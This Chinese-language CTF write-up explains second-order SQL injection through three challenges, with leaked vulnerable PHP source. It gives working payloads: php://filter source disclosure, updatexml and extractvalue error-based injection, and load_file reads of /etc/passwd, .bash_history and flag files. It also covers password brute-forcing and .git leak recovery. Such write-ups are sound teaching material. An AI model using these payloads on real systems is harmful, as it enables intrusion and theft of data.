二次注入

二次注入

漏洞原理

二次注入是攻击者构造恶意数据,并且将这个数据存储在数据库里,虽然在用户输入恶意数据时会对其中的特殊字符进行了转义处理,但是当恶意数据插入到数据库时被处理的数据又会被还原并存储到数据库中,当web程序调用在数据库中的恶意数据时,将不会再进行转义,此时会执行sql查询,这就造成了sql二次注入

二次注入的步骤

  1. 插入恶意数据

  2. 引用恶意数据

实例(CISCN2019 华北赛区 Day1 Web5 CyberPunk)

打开页面源码,发现一个可疑信息

1
<!--?file=?-->

因此,怀疑有文件包含漏洞,所以我们可以利用php协议来读取index.php文件

1
?file=php://filter/convert.base64-encode/resource=index.php

然后我们观察页面源码,发现还可以读取confirm.php、search.php、change.php、delete.php和config.php文件

confirm.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
<?php

require_once "config.php";
//var_dump($_POST);

if(!empty($_POST["user_name"]) && !empty($_POST["address"]) && !empty($_POST["phone"]))
{
$msg = '';
$pattern = '/select|insert|update|delete|and|or|join|like|regexp|where|union|into|load_file|outfile/i';
$user_name = $_POST["user_name"];
$address = $_POST["address"];
$phone = $_POST["phone"];
if (preg_match($pattern,$user_name) || preg_match($pattern,$phone)){
$msg = 'no sql inject!';
}else{
$sql = "select * from `user` where `user_name`='{$user_name}' and `phone`='{$phone}'";
$fetch = $db->query($sql);
}

if($fetch->num_rows>0) {
$msg = $user_name."已提交订单";
}else{
$sql = "insert into `user` ( `user_name`, `address`, `phone`) values( ?, ?, ?)";
$re = $db->prepare($sql);
$re->bind_param("sss", $user_name, $address, $phone);
$re = $re->execute();
if(!$re) {
echo 'error';
print_r($db->error);
exit;
}
$msg = "订单提交成功";
}
} else {
$msg = "信息不全";
}
?>

search.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
<?php

require_once "config.php";

if(!empty($_POST["user_name"]) && !empty($_POST["phone"]))
{
$msg = '';
$pattern = '/select|insert|update|delete|and|or|join|like|regexp|where|union|into|load_file|outfile/i';
$user_name = $_POST["user_name"];
$phone = $_POST["phone"];
if (preg_match($pattern,$user_name) || preg_match($pattern,$phone)){
$msg = 'no sql inject!';
}else{
$sql = "select * from `user` where `user_name`='{$user_name}' and `phone`='{$phone}'";
$fetch = $db->query($sql);
}

if (isset($fetch) && $fetch->num_rows>0){
$row = $fetch->fetch_assoc();
if(!$row) {
echo 'error';
print_r($db->error);
exit;
}
$msg = "<p>姓名:".$row['user_name']."</p><p>, 电话:".$row['phone']."</p><p>, 地址:".$row['address']."</p>";
} else {
$msg = "未找到订单!";
}
}else {
$msg = "信息不全";
}
?>

delete.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
<?php

require_once "config.php";

if(!empty($_POST["user_name"]) && !empty($_POST["phone"]))
{
$msg = '';
$pattern = '/select|insert|update|delete|and|or|join|like|regexp|where|union|into|load_file|outfile/i';
$user_name = $_POST["user_name"];
$phone = $_POST["phone"];
if (preg_match($pattern,$user_name) || preg_match($pattern,$phone)){
$msg = 'no sql inject!';
}else{
$sql = "select * from `user` where `user_name`='{$user_name}' and `phone`='{$phone}'";
$fetch = $db->query($sql);
}

if (isset($fetch) && $fetch->num_rows>0){
$row = $fetch->fetch_assoc();
$result = $db->query('delete from `user` where `user_id`=' . $row["user_id"]);
if(!$result) {
echo 'error';
print_r($db->error);
exit;
}
$msg = "订单删除成功";
} else {
$msg = "未找到订单!";
}
}else {
$msg = "信息不全";
}
?>

change.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
<?php

require_once "config.php";

if(!empty($_POST["user_name"]) && !empty($_POST["address"]) && !empty($_POST["phone"]))
{
$msg = '';
$pattern = '/select|insert|update|delete|and|or|join|like|regexp|where|union|into|load_file|outfile/i';
$user_name = $_POST["user_name"];
$address = addslashes($_POST["address"]);
$phone = $_POST["phone"];
if (preg_match($pattern,$user_name) || preg_match($pattern,$phone)){
$msg = 'no sql inject!';
}else{
$sql = "select * from `user` where `user_name`='{$user_name}' and `phone`='{$phone}'";
$fetch = $db->query($sql);
}

if (isset($fetch) && $fetch->num_rows>0){
$row = $fetch->fetch_assoc();
$sql = "update `user` set `address`='".$address."', `old_address`='".$row['address']."' where `user_id`=".$row['user_id'];
$result = $db->query($sql);
if(!$result) {
echo 'error';
print_r($db->error);
exit;
}
$msg = "订单修改成功";
} else {
$msg = "未找到订单!";
}
}else {
$msg = "信息不全";
}
?>

config.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php

ini_set("open_basedir", getcwd() . ":/etc:/tmp");

$DATABASE = array(

"host" => "127.0.0.1",
"username" => "root",
"password" => "root",
"dbname" =>"ctfusers"
);

$db = new mysqli($DATABASE['host'],$DATABASE['username'],$DATABASE['password'],$DATABASE['dbname']);

从这些文件中我们可以知道它提交的sql语句

1
select * from `user` where `user_name`='{$user_name}' and `phone`='{$phone}'

但是每个文件都对$user_name和$phone进行了严格的过滤

1
$pattern = '/select|insert|update|delete|and|or|join|like|regexp|where|union|into|load_file|outfile/i';

但是在confirm.php文件中有address这个参数,且会将address参数的值会插入到数据库中

1
$sql = "insert into `user` ( `user_name`, `address`, `phone`) values( ?, ?, ?)";

然后change.php文件中有一串代码会读取刚刚存入数据库中的address参数的信息,其中addslashes()函数会将双引号加上反斜杠进行转义,所以影响不大

1
$sql = "update `user` set `address`='".$address."', `old_address`='".$row['address']."' where `user_id`=".$row['user_id'];

所以我们可以在提交订单界面注入恶意数据后,在修改订单界面读取address时触发恶意数据进行读取,在这里我们利用报错注入来读取数据库中想要的信息

1
2
1' where user_id=updatexml(1,concat(0x7e,(select substr(load_file('/flag.txt'),1,30)),0x7e),1)#

读取前30个字符串

1
1' where user_id=updatexml(1,concat(0x7e,(select substr(load_file('/flag.txt'),30,60)),0x7e),1)#

读取后30个字符串

实例2([RCTF2015]EasySQL)

打开页面,发现有两个功能,是登录和注册两个功能,所以我们尝试在这两个地方进行sql注入的闭合测试,发现没sql注入,然后注册一个账号,并登录,然后再搜集信息,发现有一个修改密码的界面,进去后对它进行sql注入的闭合测试,发现出现sql注入,且闭合符号是双引号,而这里测试sql注入的方式是先在注册界面构造

1
admin"

然后在修改密码界面,再输入

1
admin"

看是否存在注入,测试后,发现确实存在sql注入,且闭合符号是双引号,而且此时,我们可以使用二次注入,所以构造

爆数据库

1
1"||extractvalue(1,concat(0x7e,(select(database()))))%23

爆数据表

1
1"||extractvalue(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema=database()))))%23

爆数据字段

1
1"||extractvalue(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name='flag'))))%23

发现爆内容的时候,发现这个flag是假的,所以爆user表的字段

1
1"||extractvalue(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name='user'))))%23

发现不可以爆出完整的数据,所以我们可以使用正则匹配来爆出我们需要的字段,使用regexp(‘^r’)就是匹配开头为r的字符串,所以我们可疑构造

1
2
1"||extractvalue(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name='users')&&(column_name)regexp('^r'))))#

来爆出我们所需字段,然后爆real_flag_1s_here字段的内容

1
2
1"||extractvalue(1,concat(0x7e,(select(group_concat(real_flag_1s_here))from(users)where(real_flag_1s_here)regexp('^f'))))#

但是发现只出现一部分,所以我们可以使用reverse()函数来倒转输出

1
1"||extractvalue(1,concat(0x7e,reverse((select(group_concat(real_flag_1s_here))from(users)where(real_flag_1s_here)regexp('^f')))))#

最后拼接即可

参考文章:[https://blog.csdn.net/SopRomeo/article/details/107324563]

 [https://blog.csdn.net/qq_36761831/article/details/82862135]

实例3([网鼎杯 2018]Comment)

打开页面,发现是一个留言板,然后发现要发帖的话,需要先登录,而它有提示是

1
zhangwei***

后面是三位数字,所以可以使用爆破的方法,爆出密码为zhangwei666,然后就没有发现什么有价值的信息,所以使用GitHack.py进行扫描,发现有.git文件泄露

write_do.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?php
include "mysql.php";
session_start();
if($_SESSION['login'] != 'yes'){
header("Location: ./login.php");
die();
}
if(isset($_GET['do'])){
switch ($_GET['do'])
{
case 'write':
break;
case 'comment':
break;
default:
header("Location: ./index.php");
}
}
else{
header("Location: ./index.php");
}
?>

但是发现代码补全,然后查看控制台,发现

1
程序员GIT写一半跑路了,都没来得及Commit :)

这一个重要的信息,所以我们需要找到commit的值来恢复php文件,所以使用

1
git log --all

来查看历史记录并找到commit的值,即寻找有write_do.php字段的commit,然后使用

1
git reset --hard commit的值

来恢复文件

write_do.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
<?php
include "mysql.php";
session_start();
if($_SESSION['login'] != 'yes'){
header("Location: ./login.php");
die();
}
if(isset($_GET['do'])){
switch ($_GET['do'])
{
case 'write':
$category = addslashes($_POST['category']);
$title = addslashes($_POST['title']);
$content = addslashes($_POST['content']);
$sql = "insert into board
set category = '$category',
title = '$title',
content = '$content'";
$result = mysql_query($sql);
header("Location: ./index.php");
break;
case 'comment':
$bo_id = addslashes($_POST['bo_id']);
$sql = "select category from board where id='$bo_id'";
$result = mysql_query($sql);
$num = mysql_num_rows($result);
if($num>0){
$category = mysql_fetch_array($result)['category'];
$content = addslashes($_POST['content']);
$sql = "insert into comment
set category = '$category',
content = '$content',
bo_id = '$bo_id'";
$result = mysql_query($sql);
}
header("Location: ./comment.php?id=$bo_id");
break;
default:
header("Location: ./index.php");
}
}
else{
header("Location: ./index.php");
}
?>

在发帖处给$title、$category和$content三个参数输入的值中的特殊符号会被addslashes()函数转义,

1
2
3
$category = addslashes($_POST['category']);
$title = addslashes($_POST['title']);
$content = addslashes($_POST['content']);

但是仍然会将这些值加入到数据库中,且加入到数据库后,转义的反斜杠会消失

1
2
3
4
5
$sql = "insert into board
set category = '$category',
title = '$title',
content = '$content'";
$result = mysql_query($sql);

而在详情中的提交留言界面,只有$bo_id和$content参数的值中的特殊符号被addslashes()函数用反斜杠转义

1
2
$bo_id = addslashes($_POST['bo_id']);
$content = addslashes($_POST['content']);

而$category参数的值,是将board表中的$category参数的值拿出来,其中没有经过addslashes()函数转义

1
2
3
$result = mysql_query($sql);

$category = mysql_fetch_array($result)['category'];

所以可以看出存在二次注入,因此我们可以在反贴处中的$category写入恶意代码

1
', content=user(),/*

然后在留言处的$content参数中输入

1
*/#

其中/**/是多行注释,#是单行注释

我们可以看见

1
root@localhost

可知这是root权限,所以我们可以尝试使用load_file()函数来读取文件,和上面一样构造
发帖处

1
', content=(select hex(load_file('/etc/passwd'))),/*

留言处

1
*/#

读取历史操作

发帖处

1
', content=(select hex(load_file('/home/www/.bash_history'))),/*

留言处

1
*/#

注意到/var/www/html目录下的.DS_Store文件被删除,但是在/tmp/html目录下仍然有.DS_Store文件
发帖处

1
', content=(select hex(load_file('/tmp/html/.DS_Store'))),/*

留言处

1
*/#

然后将获取的十六进制数据放到winhex,可以看见flag_8946e1ff1ee3e40f.php
发帖处

1
', content=(select hex(load_file('/tmp/html/flag_8946e1ff1ee3e40f.php'))),/*

留言处

1
*/#

发现是一个假的flag

所以访问/var/www/html/目录下的flag_8946e1ff1ee3e40f.php
发帖处

1
', content=(select hex(load_file('/var/www/html/flag_8946e1ff1ee3e40f.php'))),/*

留言处

1
*/#

就可以读到flag